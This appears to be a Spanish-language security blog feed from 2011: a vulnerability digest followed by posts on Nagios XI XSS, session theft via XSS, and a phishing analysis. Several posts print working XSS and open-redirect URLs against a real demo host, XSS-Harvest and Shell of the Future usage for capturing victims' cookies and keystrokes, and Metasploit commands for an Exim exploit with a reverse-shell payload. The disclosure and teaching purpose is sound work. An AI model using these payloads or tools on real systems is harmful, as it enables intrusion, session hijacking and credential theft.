Description: Oracle Application Server is exposed to a remote issue in XML Developer Kit. The issue can be exploited over different protocols. For an exploit to succeed, the attacker must have "Authenticated session" privileges. Oracle Application Server 10g Release 3, version 10.1.3.5.0, Oracle Application Server 10g Release 2, version 10.1.2.3.0 are affected.

Ref:

http://www.oracle.com/technetwork/topics/security/cpujuly2011-313328.html

______________________________________________________________________

11.30.16 CVE: CVE-2011-0883,CVE-2011-0884,CVE-2011-2241,CVE-2011-2264

Platform: Cross Platform

Title: Oracle Fusion Middleware Multiple Vulnerabilities

Description: Oracle Fusion Middleware is exposed to multiple issues:

A remote issue in Oracle Containers for J2EE can be exploited over the "HTTP" protocol. The "Servlet Runtime in OC4J" sub component is affected. A remote issue in Oracle BPEL Process Manager can be exploited over the "HTTP" protocol. The "BPEL Console" sub component is affected. A remote issue in Oracle Business Intelligence Enterprise Edition can be exploited over the "TCP/IP" protocol. The "Analytics Server" sub component is affected. A local issue in Oracle Outside In Technology can be exploited over the "Local" protocol. The "Outside In Filters"

sub component is affected. Oracle Fusion Middleware versions 8.3.2.0, 8.3.5.0, 10.1.2.3, 10.1.3.5, 10.1.4.0.1, 10.1.4.3, 10.1.3.4.1,

11.1.1.3 are affected.

Ref: http://www.securityfocus.com/bid/48761

http://www.securityfocus.com/bid/48756

http://www.securityfocus.com/bid/48763

http://www.securityfocus.com/bid/48766/

______________________________________________________________________

11.30.17 CVE: CVE-2011-2300, CVE-2011-2305

Platform: Cross Platform

Title: Oracle VM VirtualBox Multiple Local Vulnerabilities

Description: Oracle VM VirtualBox is an x86 virtualization software package. The application is exposed to multiple local issues that affect the "Guest Additions for Windows" sub component and the "All packages"

sub component. Oracle VM VirtualBox 3.0, 3.1, 3.2 and 4.0 are affected.

Ref:

http://www.oracle.com/technetwork/topics/security/cpujuly2011-313328.html

______________________________________________________________________

11.30.18 CVE:

CVE-2011-2239,CVE-2011-2231,CVE-2011-2242,CVE-2011-0877,CVE-2011-0811,

CVE-2011-2238,CVE-2011-0879,CVE-2011-0831,CVE-2011-0830,CVE-2011-0876,

CVE-2011-2243,CVE-2011-0881,CVE-2011-2257,CVE-2011-2230,CVE-2011-0880,

CVE-2011-0832,CVE-2011-2244,CVE-2011-0835,CVE-2011-0882,CVE-2011-0852,

CVE-2011-2253,CVE-2011-0838,CVE-2011-2240

Platform: Cross Platform

Title: Oracle Database Server Multiple Vulnerabilities

Description: Oracle Database Server is exposed to multiple issues that affect multiple sub components. Please refer to Reference for details. Oracle Database 11g Release 2, versions 11.2.0.1, 11.2.0.2, Oracle Database 11g Release 1, version 11.1.0.7, Oracle Database 10g Release 2, versions 10.2.0.3, 10.2.0.4, 10.2.0.5, Oracle Database 10g Release 1, version 10.1.0.5 are affected.

Ref:

http://www.oracle.com/technetwork/topics/security/cpujuly2011-313328.html

______________________________________________________________________

11.30.19 CVE:

CVE-2011-2277,CVE-2011-2284,CVE-2011-2275,CVE-2011-2281,CVE-2011-2279,

CVE-2011-2272,CVE-2011-2280,CVE-2011-2282,CVE-2011-2274,CVE-2011-2250,

CVE-2011-2283,CVE-2011-2278

Platform: Cross Platform

Title: Oracle PeopleSoft Multiple Vulnerabilities

Description: Oracle PeopleSoft is exposed Multiple issues that affect "Purchasing", "ePerformance", "Global Payroll Core", "Talent Acquisition Manager", "eProcurement", "Receivables", "Payables" sub component and "HTTP(s)", "Proprietary" protocol. PeopleSoft Enterprise FIN, version 9.0, 9.1, Enterprise FMS, versions 9.0, 9.1, Enterprise FSCM, versions 9.0, 9.1, Enterprise HRMS, versions 8.9, 9.0, 9.1, Enterprise SCM, versions 9.0, 9.1, Enterprise PeopleTools, versions 8.49, 8.50, 8.51 are affected.

Ref:

http://www.oracle.com/technetwork/topics/security/cpujuly2011-313328.html

______________________________________________________________________

11.30.20 CVE: Not Available

Platform: Web Application - SQL Injection

Title: LiteRadius "locator.php" Multiple SQL Injection Vulnerabilities

Description: LiteRadius is a web-based application implemented in PHP.

The application is exposed to multiple SQL injection issues because it fails to properly sanitize user-supplied input submitted to the "lat"

and "long" parameters of the "locator.php" script before using it an SQL query. LiteRadius versions 3.2 and prior are affected.

Ref: http://www.securityfocus.com/bid/48665/references

______________________________________________________________________

11.30.21 CVE: Not Available

Platform: Web Application - SQL Injection

Title: MapServer Multiple SQL Injection Vulnerabilities

Description: MapServer is a development environment for building spatially enabled Internet applications. The application is available for various platforms. The application is exposed to multiple SQL injection issues because it fails to sufficiently sanitize user-supplied data in Open Geospatial Consortium filter encoding within Web Map Server (WMS), Web Feature Service Sensor Observation Service and WMS time support. MapServer versions 6.x prior to 6.0.1, 5.x prior to 5.6.7 and 4.x prior to 4.10.7 are affected.

Ref:

http://lists.osgeo.org/pipermail/mapserver-users/2011-July/069430.html

______________________________________________________________________

11.30.22 CVE: Not Available

Platform: Web Application

Title: Trend Micro Control Manager "module" Parameter Directory Traversal Vulnerability

Description: Trend Micro Control Manager is a web-based management console. The application is exposed to a directory traversal issue because it fails to properly sanitize user-supplied input submitted to the "module" parameter of the "WebApp/widget/proxy_request.php" script when the "sid" parameter is set to "undefined", and the "serverid", "SORTFIELD", "SELECTION", and "WID" parameters are set. Trend Micro Control Manager 5.5 Build 1250 is vulnerable; other versions may also be affected.

Ref: http://www.securityfocus.com/bid/48662/references

______________________________________________________________________

11.30.23 CVE: CVE-2011-2743,CVE-2011-2744

Platform: Web Application

Title: Chyrp Multiple Input Validation Vulnerabilities

Description: Chyrp is a PHP-based blogging engine. The application is exposed to multiple input validation issues. Multiple cross-site scripting issues occur. A local file include issue affects the "action" parameter of the "index.php" script. A directory traversal issue affects the "file" parameter of the "includes/lib/gz.php"

script. An issue occurs because the application fails to sufficiently sanitize file extensions before uploading files to the web server through the "modules/swfupload/upload_handler.php" script.

Chyrp 2.1 and prior are affected.

Ref: http://www.securityfocus.com/bid/48672/references

______________________________________________________________________

11.30.24 CVE: CVE-2011-1741

Platform: Web Application

Title: EMC Documentum eRoom Indexing Server HummingBird Connector Remote Buffer Overflow Vulnerability

Description: EMC Documentum eRoom is a web-based collaboration application. EMC Documentum eRoom is exposed to a remote buffer overflow issue because it fails to perform adequate boundary checks on user-supplied data. Specifically, this issue affects the HummingBird client connector ("ftserver.exe") of the application's indexing server. EMC Documentum eRoom versions 7.4.x are affected.

Ref: http://www.securityfocus.com/bid/48712/references

______________________________________________________________________

11.30.25 CVE: Not Available

Platform: Web Application

Title: Support Incident Tracker Multiple Unspecified Vulnerabilities

Description: Support Incident Tracker is a web-based application implemented in PHP. Support Incident Tracker is exposed to multiple unspecified vulnerabilities. Support Incident Tracker versions prior to 3.64 are affected.

Ref: http://www.securityfocus.com/bid/48719/references

______________________________________________________________________

11.30.26 CVE: Not Available

Platform: Network Device

Title: Iskratel SI2000 Callisto 821+ Multiple Security Vulnerabilities

Description: The Iskratel SI2000 Callisto 821+ is a router. The device is exposed to multiple issues. A cross-site request-forgery issue exists because the device allows users to clear event logs through the "event_log_selection.html" script. A cross-site scripting issue affects the "events.html" script. Multiple HTML-injection issues exist because the device fails to sanitize user-supplied input passed to the following parameters of the "events.html" script:

"EmWeb_ns:vim:2.", "EmWeb_ns:vim:7.", "EmWeb_ns:vim:11.", "EmWeb_ns:vim:12.", "EmWeb_ns:vim:13.", "EmWeb_ns:vim:14.", "EmWeb_ns:vim:15.". Iskratel SI2000 Callisto 821+ is affected.

Ref: http://www.securityfocus.com/bid/48706/discuss

______________________________________________________________________

11.30.27 CVE: CVE-2011-0770

Platform: Hardware

Title: HP Arcsight Connector Appliance Cross-Site Scripting Vulnerability

Description: HP Arcsight Connector Appliance is an event logging device. The application is exposed to a cross-site scripting issue because it fails to sanitize user-supplied input to the "Windows Event Log Connector" component. HP Arcsight Connector Appliance versions prior to 6.1 are affected.

Ref: http://www.kb.cert.org/vuls/id/122054

______________________________________________________________________

XSS en Nagios XI más BonusTrack

noreply@blogger.com (Pablo Ramirez Hoffmann) — Tue, 19 Jul 2011 14:26:00 +0000

Con Bonus Track:

Al hacer "Vista Previa" del post, sale este mensaje en www.blogger.com... y para los que entiendan, sabrán a los que me refiero.

Como en todo software opensource, existe la versión enterprise, que en el caso de Nagios se denomina Nagios XI. En este post vamos a ver algunos fallos de seguridad que ya han sido notificados al equipo de desarrollo de esta herramienta y en la nueva release dejaran de estar, afortunadamente. Vamos a comenzar a buscar posibles puntos de fallo, para lo que usaremos la demo que podemos visitar en su sitio web: http://nagiosxi.demos.nagios.com/.

Una de las cosas que me pareció curiosa, es que esta versión de Nagios usa URLs limpias, por lo que podríamos decir que oculta las variables GET. No obstante, no por estar ocultas, estas variables dejan de existir, ya que si posicionamos el ratón sobre un enlace podremos ver como efectivamente los parámetros se pasan usando variables GET.

En esta captura podemos ver como al hacer click sobre “Hostgroup Summary” la URL que nos muestra el navegador está limpia pero el direccionamiento se nutre de variables GET que podemos explotar del siguiente modo:

Como podemos observar lo único que se ha hecho ha sido copiar el enlace del link y modificar las variables GET para obtener un XSS. Cabe destacar que todas las variables GET de esta versión de Nagios XI son susceptibles a XSS. Existen otros campos capaces de recibir un ataque XSS como por ejemplo el campo “search”:

O también en otros campos de entrada como puede ser el de filtro de páginas:

Cómo último ejemplo observaremos el campo “DashBoard Title”, que se ejecuta al previsualizar los distintos Dashboard que tenemos:

Cabe destacar que estos fallos se pueden corregir fácilmente filtrando todas las variables GET y campos de entrada que tengamos en la web utilizando para ello diversas funciones, que dependiendo del lenguaje varían. En php por ejemplo tenemos el caso del html_entities que nos puede ayudar en esta tarea.
Existe otro fallo en Nagios XI el cual también ha sido informado al fabricante y en la siguiente release dejará de estar, al igual que los fallos comentados anteriormente. En este caso el fallo es un URL Redirect Abuse, que permitiría al atacante redirigir al usuario a una página maliciosa. Este fallo se encuentra en la siguiente URL:

Como se puede observar hemos insertado una página inofensiva como es Google como PoC, pero podriamos insertar cualquier otra página. Este fallo se puede mitigar filtrando la dirección que se le pasa, para evitar que nos redirijan a páginas no deseadas.

RESUMEN:

Bug: XSS

http://nagiosxi.demos.nagios.com/nagiosxi/includes/components/xicore/status.php?show=%22%3Cscript%3Ealert%2823%29;%3C/script%3E%22%3Cscript%3Ealert%2823%29;%3C/script%3E

http://nagioxi.demos.nagios.com/nagioxi (Search Field)

http://nagiosxi.demos.nagios.com/nagiosxi/includes/components/xicore/status.php?show=hostgroups&hostgroup=all&style=%22%3Cscript%3Ealert%2823%29;%3C/script%3E%22%3Cscript%3Ealert%2823%29;%3C/script%3E

http://nagiosxi.demos.nagios.com/nagiosxi/includes/components/xicore/status.php?show=services&hoststatustypes=%22%3Cscript%3Ealert%2823%29;%3C/script%3E%22%3Cscript%3Ealert%2823%29;%3C/script%3E&servicestatustypes=28

http://nagiosxi.demos.nagios.com/nagiosxi/includes/components/xicore/status.php?&show=services&servicetatusty pes=0&hoststatustypes=12&hostattr=””

http://nagiosxi.demos.nagios.com/nagiosxi/ (Latest Alert)

Bug: Redirect Abuse

http://nagiosxi.demos.nagios.com/nagiosxi/admin/?xiwindow=http://www.google.es

Fuente: http://naxonez.wordpress.com/

NAC para iPhone e iPad

noreply@blogger.com (Pablo Ramirez Hoffmann) — Tue, 19 Jul 2011 13:55:00 +0000

Safenet ha lanzado una nueva tecnología que permite el uso de iPhones e iPads de Apple ampliando control de acceso a red seguro (NAC), ampliando su plataforma de autenticación a los dispositivos con sistema operativo iOS.

Según Safenet, su nuevo software de seguridad para iPhones e iPads forma parte del entorno de autenticación y de los centros y del entorno de gestión de autenticación de la compañía, permitiendo así a los usuarios securizar y auditar el acceso a los recursos corporativos vía móvil.

Los portavoces de la compañía aseguran que, integrando la gestión de credenciales para dispositivos móviles en una plataforma de autenticación unificada, las empresas pueden confiar en que únicamente los usuarios autorizados tienen acceso a sus redes y recursos corporativos.

Aunque más de una empresa ofrece ya aplicaciones de autenticación token basada en software para el iPhone y el iPad, esta es la primera vez que se ha llevado un entorno NAC a los tablets e iPhones.

Según Laurence Pingree, la nueva oferta de Safenet resulta especialmente atractiva para las organizaciones teniendo en cuenta que “el acceso a los datos corporativos valiosos desde dispositivos que a veces son incluso desconocidos, genera un enorme riesgo para la seguridad”.

SandBox para Android

noreply@blogger.com (Pablo Ramirez Hoffmann) — Mon, 18 Jul 2011 14:45:00 +0000

El aumento de aplicaciones maliciosas que han ido apareciendo para Android, (no solo en "markets" alternativos, sino también en el oficial) ha motivado la creación de la primera sandbox para Android.

Una sandbox permite recrear un escenario virtual seguro donde analizar las aplicaciones de forma dinámica, pudiendo detectar las acciones que realiza a distintos niveles y registrándolas para un análisis más en profundidad. Existen desde hace mucho para PC. Organizaciones públicas y privadas permiten el envío de un fichero y se devuelve un informe de su actividad.

La virtualización ha permitido facilitar mucho el proceso, aunque también los atacantes han sabido aprovecharse de esta circunstancia. Buena parte del malware de PC actual sabe detectar si se encuentra en un entorno virtual o en una sandbox y puede o bien no ejecutarse o bien modificar su comportamiento. Con esto dificultan su estudio.

Aunque ya existían algunas sandbox privadas para Android, el proyecto HoneyNet supone la primera sandbox gratuita por todo el que quiera montar su propio laboratorio en casa. La versión actual es alfa, lo que implica que, aunque inmadura, es funcional.

DroidBox, como ha sido bautizada, hace uso de TaintDroid, un proyecto para la monitorización en tiempo real creado por varias universidades estadounidenses e Intel. Por ahora, DrodiBox crea un informe tras la ejecución de una aplicación que devuelve la siguiente información:

Operaciones de lectura y escritura de ficheros
La actividad de las API criptográficas
Conexiones de redes abiertas
Salida de tráfico
Fuga de información a través de ficheros SMS, o redes
Intentos de envío de SMS
Llamadas realizadas.

Más información:
HoneyNet :
http://www.honeynet.org/node/744

Google Code:
http://code.google.com/p/droidbox/

Project Web:
http://www.honeynet.org/gsoc/slot5

TaintDroid:
http://www.appanalysis.org/

Robo de sesiones HTTP mediante XSS

noreply@blogger.com (Pablo Ramirez Hoffmann) — Mon, 18 Jul 2011 14:30:00 +0000

Un ataque de Cross Site Scripting (XSS) se produce cuando se inyecta código malicioso en forma de script en el lado del navegador, es decir, a través del cliente, en una página web en otro usuario final diferente que visita dicha página en cuestión. Este tipo de vulnerabilidad está muy extendida y puede afectar a cualquier aplicación web que utiliza la información de un usuario en la salida que genera a través del navegador Web, sin validación o codificación de los datos de entrada de la aplicación.

En múltiples ocasiones, no se le da la importancia que realmente tienen este tipo de ataques. Mediante una vulnerabilidad de XSS es relativamente sencillo enviar código malicioso a otro usuario desprevenido. El navegador del usuario objetivo no tiene forma de saber si lo que recibe es confiable y ejecuta el código malicioso al suponer que el script proviene de una fuente segura. Este script puede acceder a las cookies, los tokens de sesión u otra información sensible robando incluso la sesión. El código a inyectar y ejecutar puede ser VBscript, Javascript, etc.

Existen diferentes herramientas que son capaces de explotar vulnerabilidades de Cross Site Scripting para robar esas sesiones del usuario. Una de ellas es la recientemente publicada XSS-Harverst que facilita enormemente realizar ataques de XSS y que intenta concienciar sobre el impacto real que una vulnerabilidad de este tipo puede tener en una página web.

XSS-Harvest está escrito en lenguaje Perl y no ocupa más de 11 Kb. Con licencia GNU, no necesita de ningún servidor Web ni de motor de bases de datos para funcionar y, además, es multi-thread o multi-hilo, lo que le permite ejecutar tareas distintas a la vez y disponer de un gran rendimiento. Únicamente, al estar desarrollado en Perl, necesita de un intérprete del lenguaje independientemente de si es bajo Unix/Linux o Windows.

Entre las funcionalidades de XSS-Harvest destacan:

· Los scripts de infección añaden detectores para los eventos importantes como las pulsaciones del teclado o los clicks del ratón en la página Web vulnerable y establecen la comunicación con el sistema XSS-Harvest.

· Cualquier tecla que se pulse o cualquier click del ratón será analizado y enviado, de forma secreta, al servidor XSS-Harvest.

· De forma opcional, es posible redireccionar la página Web vulnerable para mostrar otra página diferente en el mismo subdominio, como, por ejemplo, un formulario de acceso.

· Realiza un seguimiento de las víctimas a través de las cookies para detectar futuras visitas a la página Web.

· Cada víctima tiene un archivo diferente con el histórico correspondiente que contiene todos los eventos, cookies y pulsaciones del teclado que se derivan de su visita por la página. El fichero se encuentra localizado dentro de donde se ejecuta XSS-Harvest en el directorio "history" y con el formato loquesea.txt.

· XSS-Harvest dispone de una consola que muestra los datos recibidos en tiempo real. - Funciona también con Internet Explorer 9 para ataques de Cross Site Scripting indirecto o reflejado, con Firefox 5, Google Chrome y con varios de los navegadores Web para dispositivos móviles como Safari y Android.

· Es capaz de evadir los métodos antiXSS de los navegadores como, por ejemplo, la regulación de peticiones de Internet Explorer a la misma dirección (URL) cuando se extraen datos de un equipo o el plugin NoScript de Firefox.

El funcionamiento, desde la línea de comandos, es muy sencillo y presenta diversas opciones con diferentes parámetros de ejecución (-l, -p y -r):

XSS-harvest.pl -l http://web.vulnerable/login.html

Lo primero es encontrar una página Web que presente alguna vulnerabilidad de Cross Site Scripting. Se puede verificar que la vulnerabilidad existe insertando la sentencia

Fig 1. Confirmación de la vulneravilidad de XSS en la página de Hacktimes.com

El puerto por defecto por el que escucha el servidor XSS-harvest es el 80 (HTTP) pero es posible definir cualquier puerto con el parámetro -p. En este caso, se define el puerto 8080 (opción -l de listener y -p para especificar el puerto utilizado):

XSS-harvest.pl -l -p 8080 http://www.hacktimes.com/login.php

***************************

* XSS-Harvest Server *

***************************

[INFO] Starting Server....

[INFO] History directory found.

2011/07/09-12:00:21 XSSHarvest::NetServer0 (type Net::Server::PreFork) starting! pid(11122)

Using default listen value of 128

Binding to TCP port 8080 on host http://www.hacktimes.com/login.php

Revisando el archivo de texto creado con el histórico de los eventos detectados se observan cosas como las siguientes:

*************************************

[INFECTION] Sat Jul 9 12:01:11 2011

[IP] 192.168.1.23

[UID]

[UA] Mozilla/50 (X11; Linux x86_32; rv:5.0) Gecko/20100101 Firefox/5.0

*************************************

[PAGE_LOADED] Sat Jul 9 12:01:11 2011

[URL] http://www.hacktimes.com/infect.html

[COOKIES]

login=hacktimes

password=hacktimes

*************************************

[DATA] Sat Jul 9 12:01:11 2011

[CLICK RECEIVED]

[COORDS] 111,11

[TAGNAME]INPUT

[NAME]fname

*************************************

Otra herramienta muy interesante y fácil de utilizar es Shell of the Future o SOTF (http://www.andlabs.org/tools/sotf/sotf.html) de la gente de Attack and Defense Labs que funciona bajo Windows. Al arrancar el programa se obtiene la siguiente pantalla donde lanzar y configurar la aplicación en modo proxy por el puerto por defecto 133

Fig 2. Inicio y configuración de la aplicación Shell of the Future

Dispone de consola Web que es accesible configurando un proxy local (127.0.0.1 y el puerto 1337) en el navegador Web y cargando la siguiente dirección en la barra de direcciones http://127.0.0.1/sotf.console:

Fig 3. Consola de Shell of the Future

A continuación, en la página vulnerable de hacktimes de antes, se inyecta el código malicioso javascript que incluye la propia herramienta Shell of the Future (e1.js o e2.js). Se han incluido dos scripts, uno bastante elemental (e1.js) y otro más completo (e2.js) que incluye un link invisible hacia el servidor SOTF y un capturador de eventos "onmousemove" para controlar el cursor en todo momento:

http://www.hacktimes.com/login.php=

La consola ha cambiado y muestra la sesión que se acaba de robar del usuario desprevenido que está visitando la página vulnerable de hacktimes:

Fig 4. Consola de Shell of the Future donde se muestra una sesión de usuario robada

Fig 5. Desde la consola de SOTF se puede acceder a la sesión robada y se incluye un banner personalizable "Session Hijacked by..."

Shell of the Future no guarda históricos pero su facilidad de uso y que no precisa de instalación alguna lo convierten en una aplicación más que recomendable.

Referencia: http://www.hacktimes.com/robo_de_sesiones_http_mediante_xss/

0day XSS en Skype

noreply@blogger.com (Pablo Ramirez Hoffmann) — Fri, 15 Jul 2011 18:10:00 +0000

Levent Kayan (noptrix), ha reportado una vulnerabilidad de cross-site scripting permanente en Skype que afecta a las versiones anteriores a 5.3.0.120 y las plataformas Windows XP, Vista, 7 y Mac OS X.

Como todos los cross-site scripting, el error está causado por una falta de validación de los datos introducidos en la entrada del perfil "Mobile phone". Esto permite a un atacante remoto obtener el identificador de sesión de la víctima y por tanto, secuestrar su identidad. El descubridor no descarta que otros campos sufran el mismo problema.

Levent Kayan ha publicado una prueba de concepto que demuestra la vulnerabilidad, utilizando un iframe y la función onload de JavaScript. Afirma que avisará a Skype del problema, por tanto no existe parche oficial disponible.

Las PoC:

http://www.noptrix.net/tmp/skype_xss.png

http://www.noptrix.net/tmp/skype_linux.ogv

http://www.noptrix.net/tmp/skype_winxp.ogv

http://www.noptrix.net/tmp/skype_win7.avi

Solución:

Skype validó el input de investigador pero hasta el momento no se sabe de un parche.

Vulnerabilidades en SquirrelMail

noreply@blogger.com (Pablo Ramirez Hoffmann) — Fri, 15 Jul 2011 17:57:00 +0000

Se han reportado tres vulnerabilidades en SquirrelMail que afectan a las versiones 1.4.21 y anteriores. Un atacante remoto podría aprovechar estas vulnerabilidades para ejecutar ataques cross-site scripting o eludir restricciones de seguridad.

Las vulnerabilidades son las siguientes:

CVE-2011-2023: Vulnerabilidad localizada en el fichero "functions/mime.php" al procesar los parámetros de entrada con tags de estilo y que podría permitir a un atacante remoto ejecutar código HTML arbitrario y sctipts con los privilegios del usuario que lance el navegador.

Parche: http://squirrelmail.svn.sourceforge.net/viewvc/squirrelmail/branches/SM-1_4-STABLE/squirrelmail/functions/mime.php?view=patch&r1=14133&r2=14120&pathrev=14133

CVE-2010-4554: Vulnerabilidad causada por no validar correctamente una petición HTTP. Esto podría ser aprovechada por un atacante remoto para obtener información sensible a través de una página especialmente manipulada.

Parche: http://squirrelmail.svn.sourceforge.net/viewvc/squirrelmail/branches/SM-1_4-STABLE/squirrelmail/functions/page_header.php?view=patch&r1=14117&r2=14116&pathrev=14117

CVE-2010-4555: Vulnerabilidad localizada en el fichero "functions/options.php" al no procesar correctamente las entradas en una lista despegable. Podría ser aprovechado por un atacante remoto para inyectar código.

Parche: http://squirrelmail.svn.sourceforge.net/viewvc/squirrelmail?view=revision&revision=14119

El corrector ortográfico de SquirrelMail tampoco procesa adecuadamente el carácter ">" a la hora de devolver un texto al usuario, pudiendo devolver un código HTML erróneo que podría ser aprovechado por un atacante remoto para realizar un ataque cross-site scripting.

Las vulnerabilidades han sido corregidas en la versión 1.4.22 y puede ser descargada desde la página oficial
http://www.squirrelmail.org/download.php.

Más información:
SquirrelMail Security Advisories
http://www.squirrelmail.org/security/issue/2011-07-10
http://www.squirrelmail.org/security/issue/2011-07-11
http://www.squirrelmail.org/security/issue/2011-07-12

Sistemas Afectados:

Vulnerable:

SquirrelMail SquirrelMail 1.4.21
+ MandrakeSoft Corporate Server 3.0 x86_64
+ MandrakeSoft Corporate Server 3.0
+ Red Hat Fedora Core2
SquirrelMail SquirrelMail 1.4.20
SquirrelMail SquirrelMail 1.4.19
SquirrelMail SquirrelMail 1.4.18
SquirrelMail SquirrelMail 1.4.17
SquirrelMail SquirrelMail 1.4.16
SquirrelMail SquirrelMail 1.4.15
SquirrelMail SquirrelMail 1.4.12
SquirrelMail SquirrelMail 1.4.11
SquirrelMail SquirrelMail 1.4.9 a
+ Debian Linux 4.0
SquirrelMail SquirrelMail 1.4.8
SquirrelMail SquirrelMail 1.4.7
SquirrelMail SquirrelMail 1.4.6 -rc1
SquirrelMail SquirrelMail 1.4.6 -cvs
SquirrelMail SquirrelMail 1.4.6
SquirrelMail SquirrelMail 1.4.5
+ MandrakeSoft Corporate Server 3.0 x86_64
+ MandrakeSoft Corporate Server 3.0
+ MandrakeSoft Corporate Server 3.0
+ MandrakeSoft Corporate Server 3.0
SquirrelMail SquirrelMail 1.4.4 RC1
SquirrelMail SquirrelMail 1.4.4
+ Debian Linux 3.1 sparc
+ Debian Linux 3.1 s/390
+ Debian Linux 3.1 s/390
+ Debian Linux 3.1 s/390
+ Debian Linux 3.1 ppc
+ Debian Linux 3.1 ppc
+ Debian Linux 3.1 ppc
+ Debian Linux 3.1 mipsel
+ Debian Linux 3.1 mipsel
+ Debian Linux 3.1 mipsel
+ Debian Linux 3.1 mips
+ Debian Linux 3.1 mips
+ Debian Linux 3.1 mips
+ Debian Linux 3.1 m68k
+ Debian Linux 3.1 m68k
+ Debian Linux 3.1 m68k
+ Debian Linux 3.1 ia-64
+ Debian Linux 3.1 ia-64
+ Debian Linux 3.1 ia-64
+ Debian Linux 3.1 ia-32
+ Debian Linux 3.1 ia-32
+ Debian Linux 3.1 ia-32
+ Debian Linux 3.1 hppa
+ Debian Linux 3.1 hppa
+ Debian Linux 3.1 hppa
+ Debian Linux 3.1 arm
+ Debian Linux 3.1 arm
+ Debian Linux 3.1 arm
+ Debian Linux 3.1 alpha
+ Debian Linux 3.1 alpha
+ Debian Linux 3.1 alpha
+ Debian Linux 3.1
+ Debian Linux 3.1
+ Debian Linux 3.1
+ Gentoo Linux
+ Gentoo Linux
+ Gentoo Linux
SquirrelMail SquirrelMail 1.4.3 RC1
SquirrelMail SquirrelMail 1.4.3 r3
+ Gentoo Linux
SquirrelMail SquirrelMail 1.4.3 a
+ Conectiva Linux 9.0
+ Red Hat Fedora Core3
+ Red Hat Fedora Core3
+ Red Hat Fedora Core3
+ Red Hat Fedora Core2
+ Red Hat Fedora Core2
SquirrelMail SquirrelMail 1.4.3
SquirrelMail SquirrelMail 1.4.2
+ MandrakeSoft Corporate Server 3.0 x86_64
+ MandrakeSoft Corporate Server 3.0
+ MandrakeSoft Corporate Server 3.0
+ MandrakeSoft Corporate Server 3.0
+ Red Hat Fedora Core2
+ Red Hat Fedora Core2
+ Red Hat Fedora Core2
SquirrelMail SquirrelMail 1.4.1
SquirrelMail SquirrelMail 1.4 RC1
SquirrelMail SquirrelMail 1.4
SquirrelMail SquirrelMail 1.2.11
SquirrelMail SquirrelMail 1.2.10
SquirrelMail SquirrelMail 1.2.9
SquirrelMail SquirrelMail 1.2.8
+ Terra Soft Solutions Yellow Dog Linux 3.0
SquirrelMail SquirrelMail 1.2.7
+ RedHat Linux 8.0
SquirrelMail SquirrelMail 1.2.6
+ Debian Linux 3.0 sparc
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 alpha
+ Debian Linux 3.0 alpha
+ Debian Linux 3.0
+ Debian Linux 3.0
SquirrelMail SquirrelMail 1.2.5
SquirrelMail SquirrelMail 1.2.4
SquirrelMail SquirrelMail 1.2.3
SquirrelMail SquirrelMail 1.2.2
SquirrelMail SquirrelMail 1.2.1
SquirrelMail SquirrelMail 1.2 .0
SquirrelMail SquirrelMail 1.0.5
SquirrelMail SquirrelMail 1.0.4
SquirrelMail SquirrelMail 1.4.20 RC2
SquirrelMail SquirelMail 1.4.10
SquirrelMail SquirelMail 1.4.10a

Pablo Ramirez Hoffmann

Facebook social engineering framework

Phishing - Banco de Chile

El origen: Lo primero que se puede rescatar, es la técnica de suplantación de identidad, la cual se ve de la siguiente manera en el correo electrónico.

Si se dan cuenta, viene desde el origen b1.wweb.com.br, al cual si le realizamos un scan de puertos, nos encontramos con

msf>use exploit/unix/smtp/exim4_string_format

msf exploit(exim4_string_format) >set RHOST IP_SERVER_AFECTADO

msf exploit(exim4_string_format) >set PAYLOAD cmd/unix/reverse_perl

msf exploit(exim4_string_format) >set LHOST IP_HOST_ATACANTE

msf exploit(exim4_string_format) >exploit

Todas las opciones del exploit con:

msf exploit(exim4_string_format) >show options

Como ya sabemos, desde donde se envió el correo, y como falsificaron la identidad del banco, nos vamos al cuerpo del mensaje

Cuerpo:

Se ve algo así en la mayorías de los clientes SMTP:

Si bien es cierto, en Gmail está el cartel rojo que indica que puede ser un correo falsificado, en otros sistemas antispam o clientes SMTP no está presente, lo cual tiene un mayor grado de efectividad.

El link se ve bastante fidedigno a ojos de usuarios que no tienen mucha experiencia con este tipo de ataques (https://www.bancochile.cl/bchile-perfilamiento/), pero que pasa en el código fuente de este correo:

DoS ACK Technique

XSS Wordpress 3.x PoC

PoC - PHP Hashtables Denial of Service

Chaos Communication Congress 2011 - Slide

Hackers al espacio & algo más

Auditar COBIT - ISACA

Tendencias de Malware en Dispositivos Móviles

Ejecución remota de código en TYPO3

Chile 8.8 - Computer Security Conference

Amenaza Facebook - Felipe Camiroaga

Rompiendo Contraseñas in the Cloud

Source & Crack SpyEye 1.3.X

Seguridad en SAP - Back Hat 2011

Resumen de Vulnerabilidades - Semana 32

Resumen de Vulnerabilidades - Semana 31

Informe de Ataques a Web App - IMPERVA

Resumen de Vulnerabilidades - Semana 30

XSS en Nagios XI más BonusTrack

NAC para iPhone e iPad

SandBox para Android

Robo de sesiones HTTP mediante XSS

0day XSS en Skype

Vulnerabilidades en SquirrelMail

El origen:
Lo primero que se puede rescatar, es la técnica de suplantación de identidad, la cual se ve de la siguiente manera en el correo electrónico.